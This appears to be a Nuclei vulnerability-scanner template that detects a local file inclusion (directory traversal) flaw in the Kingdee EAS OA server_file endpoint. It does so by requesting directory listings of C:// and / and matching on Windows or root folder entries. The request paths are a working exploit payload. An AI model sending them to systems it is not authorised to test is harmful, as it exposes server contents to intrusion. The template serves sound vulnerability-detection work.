id: kingdee-eas-directory-traversal

info:
  name: Kingdee EAS - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: Kingdee EAS OA server_file is vulnerable to local file inclusion and can allow attackers to obtain sensitive server information.
  reference:
    - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: kingdee,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/appmonitor/protected/selector/server_file/files?folder=C://&suffix="
      - "{{BaseURL}}/appmonitor/protected/selector/server_file/files?folder=/&suffix="

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"name":"Windows","path":"C:\\\\Windows","folder":true}'
          - '{"name":"root","path":"/root","folder":true}'
        condition: or

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200
# digest: 490a00463044022069baf66b979890ceb2caa3c7440f58ee25adeddbcb3e6e5cfeb82b591088dda1022025b20be5c895df245339012017de5a2f1d71a685ccce292fa9472169e8e02a1a:922c64590222798bb761d5b6d8e72950